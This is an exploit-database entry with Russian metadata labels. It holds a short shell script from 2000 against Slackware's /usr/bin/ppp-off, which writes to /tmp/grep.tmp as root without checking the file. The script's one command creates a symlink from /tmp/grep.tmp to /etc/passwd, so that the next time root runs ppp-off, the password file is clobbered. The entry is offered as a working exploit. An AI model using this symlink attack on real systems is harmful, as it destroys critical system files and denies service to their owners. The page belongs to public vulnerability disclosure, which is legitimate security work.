Exploit Slackware Linux - '/usr/bin/ppp-off' Insecure /tmp Call

[Exploiter]

EDB-ID

185

Проверка EDB

1. Пройдено

Автор

SINFONY

Тип уязвимости

DOS

Платформа

LINUX

CVE

null

Дата публикации

2000-11-17

#!/bin/sh
#
# In SlackWare Linux the script /usr/bin/ppp-off writes the
# output of 'ps x' to /tmp/grep.tmp. Since root is the user
# that runs ppp-off,  a non-privileged  user could create a
# link from /tmp/grep.tmp to any file(ie: /etc/issue), thus
# when root runs the  ppp-off script, the  output of 'ps x'
# would be put in the linked file. 
#                                                   sinfony

ln -s /etc/passwd /tmp/grep.tmp


# milw0rm.com [2000-11-17]